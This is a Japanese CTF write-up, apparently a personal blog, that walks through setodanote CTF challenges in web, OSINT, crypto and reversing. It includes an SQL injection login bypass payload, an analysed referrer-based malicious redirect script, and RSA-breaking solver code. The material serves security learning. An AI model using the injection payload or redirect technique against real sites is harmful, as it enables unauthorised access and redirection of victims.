xn--q6jylla3va3j6c8138a8eptvb303cxv4ft3o4ue63a
xn--v8ja6aj2a3cri3ag4a2r6cx2a1rkk1272c7j4ajd4bmf0kjhg6rb.
xn--q6j6gav1a0b2e1bh1ac2cl29ad7728kdjen6cz80dju6bqexchl9gel8b.

回答

日本語のドメインなどを使用する場合に変換される文字列っぽいという認識だったが、Punycode というらしい。適当にデコードできるサイトを見つけてデコードすると、日本語でフラグの作り方が指示される。

フラグは、さん、さん、ピー、ユー、エヌ、ワイ、
シー、オー、ディー、イー、よん、よん、です.
カタカナ表記は半角英小文字に、
ひらがな表記は半角数字にしたものがフラグです.
なお、読点は区切り文字なので取り除いてください.

あとは指示通りにフラグを生成する。

flag{33punycode44}

[100pts] Mistake (220 solves)

作成中のサイトに不備があると外部から指摘を受けています。どうやら機密情報が漏れてしまっているようです。サイトにアクセスして機密情報を特定してください。

以下のサイトにアクセスして隠されたフラグを見つけてください。

http://ctf.setodanote.net/web003/

回答

設定不備で機密情報が漏れるという文言から、ディレクトリリスティングを疑った。試しに assets/ にアクセスすると、配下のディレクトリが表示されたが、ここにフラグはなかった。

次に images/ にアクセスすると、pic_flag_is_here.txt があった。

flag{You_are_the_Laughing_Man,_aren't_you?}

[120pts] tkys_royale (279 solves)

んー、このサイトには重大な脆弱性があります。そう切り出してきた相手の姿にあなたは言葉が出ません。それは音信不通となっていた後輩の生き写し。聞きたいことが山ほどありますが、まずはサイトの脆弱性を修正しなければなりません。サイトを解析し、脆弱性を特定してください。

以下のサイトにアクセスしてフラグを得てください。

https://ctf.setodanote.net/web005/

回答

指定されたURLにアクセスすると、ログイン画面が表示された。脳死で SQLインジェクションを疑い、' OR 1=1 -- と入れたらフラグが表示された。

flag{SQLi_with_b1rds_in_a_b34utiful_landscape}

[120pts] Estimated (241 solves)

組織の関連サイトを監視している部署から「どうやら局長ブログで機密情報が漏洩しているようだ」と連絡が入りました。一部SNSで言及されているものの、幸いにしてまだ広まってはいないようです。なんとか穏便にすませたい上司に配慮し、被害を最小にすべくサイトを調査し漏洩している機密情報を特定してください。

以下のサイトにアクセスしてフラグを得てください。

https://ctf.setodanote.net/web006/

回答

指定されたURLにアクセスすると、日記帳のようなページが表示される。問題文から見えてはいけない情報が公開状態になっていると推測できるので、その方針で進める。

ページを遷移していると、「お詫び:昨日の記事について」という投稿にアクセスできる。ここには「掲載していた画像に公開すべきではない情報が含まれていた」とあるため、この画像にアクセスできればよいと想像できる。

HTMLのソースコードを見ると、画像ファイルの命名規則は {日付}{00x}.jpg のようになっている。上記の投稿が2021/06/03であるため、images/20210602001.jpg にアクセスすると、画像が表示される。しかし、小さいサイズであるため詳細を確認することはできない。

さらにHTMLのソースコードを見ると、元々の大きい画像のファイル名には末尾に b が付いていることが分かる。そこで、images/20210602001b.jpg へアクセスすると大きい画像が得られ、その中にフラグが記載されていた。

flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}

[150pts] Mx.Flag (171 solves)

旗から手紙が届きました。

親愛なる貴方へ

こうして貴方に手紙を送るのは初めてですね。  
実はとてもうまく隠れることができたので、嬉しくなりこのような手紙を送ることにしました。  

どうか私を見つけてくれますか?

旗

以下のサイトにアクセスしてフラグを得てください。

https://ctf.setodanote.net/web007/

回答

指定されたURLへアクセスすると、問題文で書かれていたものが英語で記載されている。HTMLのソースコードを確認しても特に怪しい部分は見つからなかった。また robots.txt 等にもアクセスしたが、404 Not Found だった。

Chrome の開発者ツールで Network のタブを開きながら作業をしていたところ、favicon.png へのアクセスが成功していることに気付いた。CTF の問題では favicon まで作り込むことは少ないので、少し怪しんだ。ブラウザのタブを見ると favicon が読み込まれているにも関わらず、アイコンが表示されていなかった。

そこで favicon.png をダウンロードし、中身を確認した。

$ wget -q https://ctf.setodanote.net/web007/images/favicon.png

$ file favicon.png         
favicon.png: ASCII text, with CRLF line terminators

$ cat favicon.png
// flag{Mr_Flag_hiding_in_the_favicon}
console.table({place: "favicon.png", png: "false", flag: "true", Look: "me"});

flag{Mr_Flag_hiding_in_the_favicon}

[150pts] Redirect (181 solves)

組織の関連サイトを監視している部署から「どうやら会長ブログが何らか侵害を受けてしまっているようだ」と連絡が入りました。再現方法が不明なものの、一部の訪問者から不審なサイトに飛ばされてしまうという指摘がされているようです。上司は休暇で不在ですが特に支障はありません。被害を最小にすべくサイトを調査し侵害状況を把握してください。

以下のサイトにアクセスしてフラグを見つけ出してください。

https://ctf.setodanote.net/web004/

回答

指定されたURLにアクセスすると、Contact Me を含むページだったが、どういう意図のページかはよくわからなかった。HTMLソースコードを確認すると、末尾に怪しい <script> があった。

!function(){var ref = document.referrer;var domain = ref.match(/^http([s]?):\/\/([a-zA-Z0-9-_\.]+)(:[0-9]+)?/)[2];if(domain == "www.google.com" || domain == "www.google.co.jp" ){location.href = atob('aHR0cHM6Ly9jdGYuc2V0b2Rhbm90ZS5uZXQvd2ViMDA0L2JXRnNhMmwwLmh0bWw=');}}();

atob の部分を base64 デコードすると https://ctf.setodanote.net/web004/bWFsa2l0.html となっていた。アクセスすると、何度かURLが変わったように見えた後、Nice try! Pay attention to the redirects. と表示された。またURLは https://ctf.setodanote.net/web004/ZGFtbXlmbGFn/?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200 となっていた。

Chrome の開発者ツールの Network タブで Preserve log にチェックを入れた後、ページにアクセスしてみた。すると4回ほどリダイレクトが行われていることが分かった。それぞれの URL に対して curl コマンドで確認していったところ、下記のURLで気になる記述があった。

$ curl 'https://ctf.setodanote.net/web004/b25lLXR3by10aHJlZQ/?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200'
(snip)
<script>
  !function() {
    var params = new URL(window.location.href).searchParams;
    if (params.get('callback') == 'getFlag') {
     location.href = 'https://ctf.setodanote.net/web004/dGFjaGlrb21hX2thd2FpaV95b25l/?' + params;
    }else{
      location.href = 'https://ctf.setodanote.net/web004/ZGFtbXlmbGFn/?' + params;
  	}
  }();
</script>

これを基に callback=getFlag として https://ctf.setodanote.net/web004/dGFjaGlrb21hX2thd2FpaV95b25l/ にアクセスした。その他のパラメータは引き継いだ。

https://ctf.setodanote.net/web004/dGFjaGlrb21hX2thd2FpaV95b25l/?callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200

これでフラグが得られた。

flag{Analyz1ng_Bad_Red1rects}

OSINT

[30pts] tkys_with_love (392 solves)

だいぶ元気なようだ。長期休暇中の後輩からメッセージが届きました。「どこにいると思います?コールサイン C6DF6 の上ですよ!!」どうやら何か乗り物に乗っているようです。後輩が何に乗っているのか特定してください。

フラグは後輩がいるという乗り物の正式名称flag{} で囲んで答えてください。名称に空白が含まれている場合はアンダースコアでつないで回答してください。例えば This is a FLAG が名称である場合は flag{This_is_a_FLAG} のように答えてください。

回答

単純に C6DF6 でググると、以下のページが見つかった。

正式名称を調べると Symphony of the Seas のようなので、問題文にしたがってフラグを投入した。

flag{Symphony_of_the_Seas}

[50pts] Dorks (362 solves)

あなたは組織が所有するドメインに関係するサイトの中で login.php が不用意に公開されていないかを Google を使って確認するように依頼を受けました。login.php が利用されているかどうかは、ある5文字の検索演算子をひとつ使えば調査することができそうです。

Google で login.php を URL に含むページを検索するための検索語句を検索演算子を含めてすべて小文字 でフラグ形式にして答えてください。

例えばファイルタイプを限定する filetype の検索演算子で pdf を検索するための検索語句を答える場合は flag{filetype:pdf} となります。

回答

google 検索 演算子 とかでググると以下が見つかった。

flag{inurl:login.php}

[50pts] filters_op (378 solves)

Twitter アカウント @cas_nisc が2017年5月15日にツイートした注意喚起に付与されている英字のハッシュタグをフラグ形式で答えてください。

例えば付与されていたのが「#HashTag」であればフラグは flag{#HashTag} となります。

回答

Twitter の高度な検索を用いると分かる。アカウントに @cas_nisc 、日付に 2017/05/14 〜 2017/05/16 という感じで指定する。

flag{#WannaCrypt}

[50pts] MAC (345 solves)

友人が簡単な暗号を作ったから意見を聞かせてほしいと言ってきました。公開情報に基づき解くことができるといいます。あなたは暗号文を解いてみることにしました。

00:03:93 = A
00:01:A9 = B
04:2A:E2 = C

上記の通り変換されるとき、以下の文字列はどうなるか。

flag{2C:C2:60_FC:EC:DA_00:02:B3_AC:44:F2_FC:4E:A4}

暗号文を解きフラグを得てください。

回答

問題名の MAC と値の形式から、これは MACアドレスの一部であると推測できる。MACアドレスは先頭3バイト分がベンダーによって決まっている。

このMACアドレスの6つのオクテットのうち、最初の3オクテットがベンダーID部、次の1オクテットが機種ID、最後の2オクテットがシリアルIDとなることが一般的である。

適当に調べると MACアドレスからベンダ名を検索してくれるサイトが見つかる。試しに問題文で指定されている 00:03:93 で検索すると Apple となることから、先頭1文字を抽出すれば良いと分かる。

1つずつ検索し、フラグの形式に合わせる。

flag{O_U_I_Y_A}

[50pts] tkys_eys_only (227 solves)

送られてきたデータが端末に表示されます。後輩の活躍により、監視対象者が操作していた端末画面の取得に成功しました。映し出された画面はある組織の所在地に関する情報を含んでいます。画像を解析し、所在地に最も関係する組織名を特定してください。

添付されたファイルを解析し、所在地に最も関係する組織の名称を英語表記で答えてください。名称にスペースがある場合はアンダースコアに置換しフラグ形式で回答してください。

例えば組織名が International Criminal Police Organization だった場合は flag{International_Criminal_Police_Organization} となります。

Attachments: tkys_eys_only_fc217342085cccf115f7cd5ae788a61463cafce5.zip

回答

添付ファイルを解凍すると、screen.jpg が得られる。

screen.jpg

画像の中にあるアドレスバーに着目すると lat=40.749444&lon=-73.968056 という記述が見える。これは緯度経度を示しているので Google Map で検索すると、国連本部付近を指し示すことが分かる。

最初、ヒントに Headquarters と入っていたため、flag{United_Nations_Headquarters} と入れたが違っていた。組織名ということなので、flag{United_Nations} としたら通った。

flag{United_Nations}

[100pts] MITRE (236 solves)

識別子があることを知っておくことは共通の認識をもつために必要なことでしょう。ですが、すべての識別子を覚える必要はないと思います。そういう理由で私はこの課題に必要性を感じません。そう説得したが教官は首を縦に振ってはくれなかった。そして、私はこれからこの文字列を解読しなければならない。

T1495T1152T1155T1144 T1130T1518 flag{T1170T1118T1099T1496T1212_T1531T1080T1127T1020T1081T1208_T1112T1098T1199T1159T1183T1220_T1111T1147T1220}

フラグに英字が含まれる場合はすべて大文字で答えてください。

回答

タイトルの MITRE と T1495 などをググると、MITRE ATT&CK の番号だと分かる。MAC の問題と同様に先頭1文字を取得するとよいと分かる。手作業で実施した。

flag{MITRE_ATTACK_MATLIX_THX}

[120pts] Ropeway (285 solves)

休暇中の同僚から写真が送られてきました。あるロープウェイから撮られた写真とのこと。そしてもし写真から撮影場所が特定できたらいい地酒をお土産に買ってくれると言います。あなたは仕掛中の仕事を脇に置き、写真の解析を始めました。

添付されたファイルを解析し、ロープウェイ名称を英小文字のフラグ形式で答えてください。例えばロープウェイの名前が「瀬戸田ロープウェイ」の場合、フラグは flag{setoda} となります。

Attachments: ropeway_562e4f052f42d16175758981bd602eeda4e6d0c3.zip

回答

添付ファイルを解凍すると、ropeway.jpg が得られる。

ropeway.jpg

最初、見えている情報から場所を特定しようとしたが、うまくいかなかった。

ダメ元で画像をそのままGoogle画像検索に投げてみたところ、浜名湖オルゴールミュージアム がヒットした。公式Webサイトや Google Map のストリートビューなどから、画像の場所と一致しているか確かめたところ、間違っていなさそうだった。

通っているロープウェイの名前は 舘山寺(かんざんじ)ロープウェイ だったことから、以下で通った。

flag{kanzanji}

[200pts] N-th_prime (41 solves)

電車の中で誰かの会話が聞こえてきます。

「巨大な素数の秘密を知っているか兄者」「知っているとも弟者。巨大な素数は秘密を守る要なのさ」「兄者、1番目の素数は?」「2 だ」「2番目の素数は?」「3 だ」「数え上げて 72057594037927936 番目の素数は?」「・・・」「兄者マテッ!ときに落ち着けって!」

数え上げて 72057594037927936 番目の素数をフラグ形式で答えてください。例えば 11 だった場合は flag{11} と答えてください。

回答

これは結構難しかった。

まず 72057594037927936 という数字について調べたところ、これは $2^{56}$ だということが分かった。続いて、nth prime でググっていると以下の論文にたどり着いた。

これの14ページなどにある A006988 と書かれたリンクへアクセスすると OEIS というページに飛んだ。これは $10^n$ 番目の素数のリストになっていた。

この OEIS というページの中に検索バーがあるため、同じように $2^n$ 番目の素数をまとめたものが無いか検索した。すると A033844 a(n) = prime(2^n) というものを見つけた。内容を読むとまさに $2^n$ 番目の素数について記載したものだった。このページにある以下のリンクを開くと、$2^{56}$ 番目の素数が記載されていた。

flag{2991614170035124397}

[250pts] identify_the_source (67 solves)

組織はある攻撃者グループの動向を調査しています。あなたは旧知の情報提供者からその攻撃者グループが攻撃に利用しようとしているというファイルを入手することに成功しました。情報提供者はファイルの配布元URLの情報も持っているようですが、そちらの情報を入手するためには高額な対価が必要となりそうです。あなたが自由にできる予算は限られています。巧みな話術でどうやらあるマルウェア解析サイトから取得した情報であるようだというところまでは聞き出せました。組織はあなたに配布元URLを特定し、攻撃を未然に防ぐとともに攻撃者グループに関する重要な情報が含まれていないか調査するよう指示を出しました。

添付されたファイルを解析して関連する配布URLを特定、調査し、フラグを入手してください。

Attachments: identify_the_source_318ddc101a919d78eeea3551455bc7e26455d73c.zip

回答

添付ファイルを解凍すると、tsuru が得られる。

最初、xxd 等で16進数ダンプしたところ、TSURU というパターンが大量に見られたので、これを除去して何かファイルになるのかと色々やっていたが違った。(OSINT してない)

改めて問題文を見返すと「あるマルウェア解析サイトから取得した情報である」と書いてあるため、VirusTotal で検索してみた。同様の考え方の人がいたようで、私がアップロードした段階で 20時間前にアップロードされた形跡があった。しかし有益な情報は得られなかった。

その他のマルウェア解析サイトについて調べていったところ、any.run というサイトがあることを知り、そこでもハッシュ値を検索してみた。Public submissions に進み、検索バーに MD5 のハッシュ値 692d63870043c597ad56bcfba440dc89 を入れたところ、いくつかヒットした。

投稿日時が 2021/07/15 となっている投稿であることから、作問者が作ったものと考えて間違いなさそうであった。またファイル名は tsuru となっているが、1つだけ URL になっているものがあった。

改めて問題文を見直すと、「情報提供者はファイルの配布元URLの情報も持っているようですが、そちらの情報を入手するためには高額な対価が必要」とある。よってこれが配布元URLと捉えられる。

ページにアクセスすると 404 Not Found nice try! と表示される。一方、ルート (/) にアクセスすると NO DATA と表示され、最下部に The flag is no longer here. と記載されている。HTMLソースコードを確認すると deleteTime="1626307200" と指定されていた。

1626307200 はおそらく UNIX タイムスタンプだと思われるので、日時に変換すると 2021/07/15 00:00 (UTC) だと分かった。これ以前の情報がわかればフラグを取得できそうである。

Web ページの過去の情報を見る手段として、Wayback Machine を使う方法があるので試してみた。ここにアクセスすると、2021年7月に大量の保存記録があった。これらを一つずつ確認していくと、下記のURLにアクセスした際のHTMLソースに、コメントとしてフラグが記載されていた。

flag{No_one_cares_the_bomb_that_didn't_go_off}

[300pts] secret_operation (39 solves)

あなたと同僚は敵対組織が秘密裏に進めているオペレーションの調査を命じられました。

「どうやら事を起こそうとしているようだ。」

調査開始からしばらく経った頃、同僚からある画像が届きました。それはかなり不鮮明だったものの、どこかの Web ページを写したと思われる画像データでした。詳細を確認しようと同僚と連絡をとろうとしましたが返信はなく、同僚からの連絡はそれを最後に途絶えてしまいました。画像の Web ページを調査し敵対組織が秘密裏に進めているオペレーションを明らかにしなければ。

添付されたファイルを解析し、フラグを得てください。

Attachments: secret_operation_2b5c41c9d2807880650191395068e0fab34ff917.zip

回答

色んな発想と知識が要求されるので、面白かったが難しかった。

添付ファイルを解凍すると、operation-sculd.jpg が得られる。

operation-sculd.jpg

ファイルを確認すると、ブラウザであるページにアクセスしている様子が確認できる。アドレスバーに書かれているURLは以下の通り。また、Twitter のアカウントやそれ以外の情報も見えるが、一部ブラーがかかっていて読み取れない。

URLにアクセスすると少し見た目の違うページに繋がった。Your info の部分に私の居住地付近の市が表示されており、画像とは違っていた。また The time is always right to do what is right. と書いてあった。

推測として、日本からのアクセスだと思われているのが問題なのではないかと考えた。そこで画像に記載されている St Petersburg からサンクトペテルブルクだと分かったので、そこの Free Proxy を検索し、プロキシ経由でアクセスを行った。

するとページの見た目が変わり、画像と同じようなページになった。また Twitter アカウント (@aarron142857) と別のリンク (https://billowing-poetry-3254.setodanote.net/) が得られた。リンクにアクセスすると Basic認証がかかっておりアクセスできなかった。よって次の目標は ID と パスワードを見つけることになる。

最初、Twitter の投稿を見ていたが、画像付きの投稿がいくつかあるだけで特に怪しいものはなかった。そのため、Twitter アカウントと同じIDの aarron142857 という名前で別のSNSを使用していないか確認していた。結果的に何も見つからなかった。

再度、Twitterの投稿を眺めていると、気になる文言があった。

「求めているものは常に最初にある」みたいなことを言っている。そこで最初の投稿を見てみる。最初の投稿にも画像が投稿されていた。これが怪しいということだろうか。

画像に情報を埋め込む方法はいくつかある。これも何か埋め込まれている可能性があることから、aperisolve.fr に投げて確認してみた。

すると Zsteg の欄で file: Zip archive data, at least v1.0 to extract という文字が見えた。どうやら別のファイルが埋め込まれているらしい。また Binwalk の欄でも zip ファイルが埋め込まれていることを示唆していた。

$ binwalk E5dSzX_VUAI0lrI.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 672 x 378, 8-bit/color RGBA, non-interlaced
41            0x29            Zlib compressed data, compressed
241174        0x3AE16         Zip archive data, at least v1.0 to extract, compressed size: 5255, uncompressed size: 5255, name: YXV0aC5wbmc
246563        0x3C323         End of Zip archive, footer length: 22

ファイル名が YXV0aC5wbmc となっている。base64 でデコードすると auth.png となり、認証情報っぽいと分かる。foremost コマンドで抽出した。

その後、単純に展開しようとすると zip bomb じゃないかと怒られてしまった。16進数ダンプすると .PNGIHDR といった文字列が確認できるため、圧縮されていない PNG ファイルがあるように見える。今度は tail コマンドを使って抽出してみた。

$ tail -c+$((0x2a)) output/zip/00000471.zip > auth.png
$ file auth.png
auth.png: PNG image data, 407 x 57, 8-bit/color RGB, non-interlaced

auth.png

これでパスワードが right_next_to_you と分かった。IDについては CHECK MY BIO とのことで、ググるとプロフィール欄を見ろということらしい。Twitter のプロフィール欄には J.S と書いてあった。

これを基に User: J.SPass: right_next_to_you で Basic認証すると無事に通ったが、以下のように言われフラグは得られなかった。

Classified information
Operation [-- CENSORED --]
... Вы ведь не из моей страны?

ここで最初の手法、プロキシ経由でアクセスすることを思い出し、実践すると今度こそフラグが得られた。

Classified information
Operation flag{=we_can_change_tomorrow=}
The operation is already in the execution phase.

All information will be erased.

flag{=we_can_change_tomorrow=}

Crypto

[50pts] base64 (405 solves)

組織に入ったばかりの新人からチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやら新人は暇なようです。

以下の文字列を解読して、フラグを獲得してください。

ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==

回答

タイトルの通り。Base64でデコードする。

flag{It's_called_base64!}

[50pts] ROT13 (390 solves)

組織でも指折りの経験豊富なベテランからチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやらこのベテランも暇なようです。

以下の文字列を解読して、フラグを獲得してください。

synt{Rira_lbh_Oehghf?}

回答

これもタイトルの通り。CyberChefでやった。

flag{Even_you_Brutus?}

[80pts] pui_pui (345 solves)

組織の局長からチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやらこの組織には暇人しかいないようです。

以下の文字列を変換して、フラグを獲得してください。

\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a

回答

16進数でエンコードされただけ。echo -e とすれば解ける。

$ echo -e '\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f (snip) \x7d\x2e\x0a'
A:Do you know Molcar?

B:Of course! I love the scene where he sinks into the blast furnace while giving the thumbs up.

A:... What?

B:btw, the flag is flag{Have_you_ever_heard_of_Hexdump?}.

FLAG: flag{Have_you_ever_heard_of_Hexdump?}

[120pts] tkys_secret_service (226 solves)

分担が一区切りし拠点に立ち寄っていた後輩から、あなたが3か月前に送ってきたチャットが結局なんだったのか解けないでいると話しかけられました。そういえば暇だったから意味もなく秘匿回線で内偵中の後輩に暗号文を送っていたことを思い出します。

以下の文字列を解析してフラグを入手してください。

Gur cevgrsgbvh vp Pvhgevyyrq Hhsynmmbpbrq Vhpvezngbvh (PHV) ermbqrhg bh hvhprqreny mlmgrzm nhq vetnhbfngbvhm bm vp cnenzvahg bzcvegnhsr gv prqreny ntrhsbrm nhq snh qbersgyl bzcnsg gur nobybgl vp gur prqreny tvirehzrhg gv massrmmpayyl svhqasg bgm rmmrhgbny zbmmbvhm nhq pahsgbvhm. Gubm caoybsngbvh cevibqrm ntrhsbrm jbgu ersvzzrhqrq mrsaebgl erdaberzrhgm pve cevgrsgbht gur svhpbqrhgbnybgl vp PHV jurh gur bhpvezngbvh bm ermbqrhg bh hvhprqreny mlmgrzm nhq vetnhbfngbvhm; jurh gur hvhprqreny vetnhbfngbvh bm hvg svyyrsgbht ve znbhgnbhbht bhpvezngbvh vh orunyp vp n prqreny ntrhsl ve ambht ve vcrengbht n mlmgrz vh orunyp vp nh ntrhsl; nhq jurer gurer ner hv mcrsbpbs mnprtaneqbht erdaberzrhgm pve cevgrsgbht gur svhpbqrhgbnybgl vp Synt bm pynt{cabcab_sne_vp_zvy} PHV cermseborq ol gur naguvebfbht ynj, ertayngbvh, ve tvirehzrhgjbqr cvybsl pve gur PHV sngrtvel ybmgrq bh gur PHV Ertbmgel. Gur erdaberzrhgm nccyl gv nyy svzcvhrhgm vp hvhprqreny mlmgrzm nhq vetnhbfngbvhm gung cevsrmm, mgver, nhq/ve genhmzbg PHV, ve gung cevibqr cevgrsgbvh pve masu svzcvhrhgm. Gur mrsaebgl erdaberzrhgm ner bhgrhqrq pve amr ol prqreny ntrhsbrm bh svhgensgany irubsyrm ve vgure nterrzrhgm rmgnoybmurq orgjrrh guvmr ntrhsbrm nhq hvhprqreny vetnhbfngbvhm.

回答

パッと見た感じ、換字式暗号っぽい。quipqiupに投げれば解ける。

flag{puipui_car_of_mol}

[150pts] lets_bake (119 solves)

あなたはシェフ帽の人物からレシピを受け取りました。どうやら組織からの秘密のメッセージのようです。レシピを解読し、秘密のメッセージを入手してください。

Input:
NzRmNDRiMWE0Y2M2ZGNiNzc3NTMyNTcwZjk0MTE4NTMyNTcxZjE1YTE1NTJkY2M0

Recipe:
RnJvbV9CYXNlNjQoJ0EtWmEtejAtOSsvPScsdHJ1ZSkN]b2[sRnJvbV9IZXgoJ05vbmUnKQ0=]b2[sRm9yaygnJScsJ18nLGZhbHNlKQ0=]b2[sUkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk=

回答

若干知識問題な部分もあるが、問題文の「シェフ」「レシピ」という部分から、CyberChef に投げる問題だと推測できる。

Recipe は Base64 っぽいが、] とか [ が含まれていて、単純にはデコードできない。しかし ][ が含まれるあたりに着目するとすべて ]b2[s になっている。これを取り除いて base64 デコードすることを試してみると、以下のようになった。

From_Base64('A-Za-z0-9+/=',true)
From_Hex('None')
Fork('%','_',false)
RC4({'option':'UTF8','string':'chef'},'Latin1','Latin1')

これを基に CyberChef で組み立てるとフラグが得られる。

flag{hello_baked_cipher}

[200pts] vul_rsa_01 (170 solves)

あなたは組織の定期研修に参加しています。教官から RSA 暗号の禁止事項くらいは覚えておくようにと課題が出題されました。どうやら暗号文 c を解くことができればそれだけ早く帰れるようです。

以下の RSA 暗号を解読してフラグを入手してください。

c: 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335
n: 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257
e: 65537

回答

RSA の暗号を解読する問題だが、明らかに n が小さい。factordb で調べたところ、pq が明らかになった。後は復号スクリプトを書くだけ。

from Crypto.Util.number import *

c = 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335
n = 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257
e = 65537

# factordb
p = 3058517013146002381763962882964790715736519
q = 4372642466716249946441875327733923056149624303

assert p*q == n

phi = (p-1) * (q-1)
d = pow(e, -1, phi)
m = pow(c, d, n)

print(long_to_bytes(m).decode())

flag{weak_rsa_can_be_decrypted!}

[250pts] vul_rsa_02 (139 solves)

あなたは引き続き組織の定期研修に参加しています。教官は昨日と同じ人物です。「早く帰れると言ったな。あれは嘘だ」昨日の信じられない光景が脳裏に蘇ります。RSA 暗号の禁止事項くらいは覚えておくようにと再び RSA 暗号の課題が出題されました。もはや誰も信じていませんがどうやら暗号文 c を解くことができればそれだけ早く帰れるようです。

以下の RSA 暗号を解読してフラグを入手してください。

c: 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681
n: 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
e: 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137

回答

RSA シリーズその2。今回は e が大きすぎる。この場合、Wiener's attack と呼ばれる攻撃が成立する場合がある。

以下のサイトで試したところ、pqd がそれぞれ明らかになった。

あとは vul-rsa-01 同様、計算するだけ。もちろん上記のサイトでやってもいい。

from Crypto.Util.number import *

c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681
n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 
d = 19780253153570454414022314122363673676673

m = pow(c, d, n)
print(long_to_bytes(m))

flag{197_Michael_J_Wiener_673}

[300pts] WEARECIA (76 solves)

家に帰ると黒い封筒が郵便受けに入っていました。封筒の中身は英字が羅列されたメモが一枚。青銅色の紙に白いインクで書かれており右下には同じインクで WEARECIA と記載されています。どうやら暗号文のようです。暗号文を解析してメッセージを受け取る必要がありそうです。

以下の暗号文を解読し、隠されたメッセージを見つけてください。フラグは得られたメッセージを flag{} で囲んで回答してください。

EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJYQTQUXQBQVYUVLLTREVJYQTMKYRDMFDRCDNKFRHHMKVLLTGBMFDUTMALDUMKYQTGLWLWCM

回答

難しかったが、論理的に解けるように工夫されていた。

まず全て大文字という点と、鍵らしきものが明示されているため、ヴィジュネル暗号だと思った。しかし単純なヴィジュネル暗号では解読できなかった。

そこで少し OSINT した。WEARECIA というのは We are CIA という意味だと解釈し、 CIA cipher とググった。すると Kryptos というものがヒットした。Kryptos について調べていると、今回の暗号文の先頭と、Kryptos の第1セクションの暗号文が同じであることに気付いた。そこで Kryptos の暗号化方法について調べた。

すると以下のサイトを発見した。Kryptos では一般的なヴィジュネル暗号ではなく、テーブルを少し変えて使っているようだった。

復号スクリプトを書き、実行した。最初、Kryptos の部分は取り除いて実行したがうまく結果は得られず、Kryptos の部分も含めて復号したらフラグが現れた。

c = """
EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJ
YQTQUXQBQVYUVLLTREVJYQTMKYRDMFD
RCDNKFRHHMKVLLTGBMFDUTMALDUMKYQTGLWLWCM
""".replace('\n', '')

# c = 'RCDNKFRHHMKVLLTGBMFDUTMALDUMKYQTGLWLWCM'
table = 'KRYPTOSABCDEFGHIJLMNQUVWXZ'
pw = 'PALIMPSEST'

def decode(cipher):
    ans = ''
    for i in range(len(cipher)):
        idx = table.index(pw[i % len(pw)])
        ans += table[(len(table) + table.index(cipher[i]) - idx) % len(table)]
    return ans

print(decode(c))
$ python3 solver.py      
BETWEENSUBTLESHADINGANDTHEABSENCEOFLIGHTLIESTHENUANCEOFIQLUSIONFLAGISWEARETHENATIONSFIRSTLINEOFDEFENSE

読みやすくすると BETWEEN SUBTLE SHADING AND THE ABSENCE OF LIGHT LIES THE NUANCE OF IQLUSION FLAG IS WEARETHENATIONSFIRSTLINEOFDEFENSE となる。

flag{WEARETHENATIONSFIRSTLINEOFDEFENSE}

Rev

[50pts] Helloworld (264 solves)

気が付くと椅子に座っていた。簡単なテストから始めよう。ガラスを隔てて真正面に白衣の女が立っている。君が優秀であることを示してくれ。声は天井のスピーカーから聞こえてくるようだ。心配はいらない。そばにある端末が起動する。どちらにしてもすぐに済む。

添付されたファイルを解析してフラグを得てください。
ファイルは「infected」というパスワード付き ZIP になっています。

Attachments: helloworld_dd6b4bbaf0353c9a2d2093ac88135f9b760599db.zip

回答

添付ファイルを解凍すると、helloworld.exe が得られた。Windows のコマンドプロンプトで実行すると、引数をつけろと言われ、適当につけると flag と指定しろと言われる。

指示通り helloworld.exe flag と実行したらフラグが得られた。

flag{free_fair_and_secure_cyberspace}

[80pts] ELF (187 solves)

